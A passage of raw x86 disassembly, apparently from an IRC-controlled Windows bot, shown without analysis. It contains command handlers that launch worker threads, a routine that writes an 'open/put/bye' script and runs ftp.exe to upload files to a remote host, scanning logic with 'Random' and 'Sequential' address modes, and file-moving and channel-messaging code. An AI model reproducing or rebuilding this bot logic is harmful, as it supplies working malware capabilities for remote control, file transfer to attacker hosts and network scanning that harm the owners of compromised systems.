XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AE64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42AE30 jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42ADE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset sub_413410 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42ADB0 loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AD70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42AD48 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_3 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB5A0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42ACD8 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42ACA8 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431AD0, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431AD0 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431AD0[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42AC74 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42AC40 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB5D8 ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF_0 ; "#f" push offset byte_43D7E8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42ABD8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40C33C push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42ABA0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_2C4] push offset unk_42AB50 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40C759 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AB14 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E588[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42AB08 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E370[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E588 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E588[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E370[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E588 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CB674 ; inet_addr push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_2C4] push offset unk_42AAAC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40C668 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42ABA0 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset sub_4103AA push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AA2C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42AA00 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset sub_4163F9 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A9C0 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A984 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset sub_414A91 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A94C jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A91C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset sub_4137CC push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A8E4 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A8B4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset sub_412A53 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A87C jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A84C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call dword_427078 ; Sleep jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A810 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A7E4 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset sub_412E9D push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A7AC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A774 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call dword_4270B4 ; MoveFileA test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A750 push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A744 call sub_41814C pop 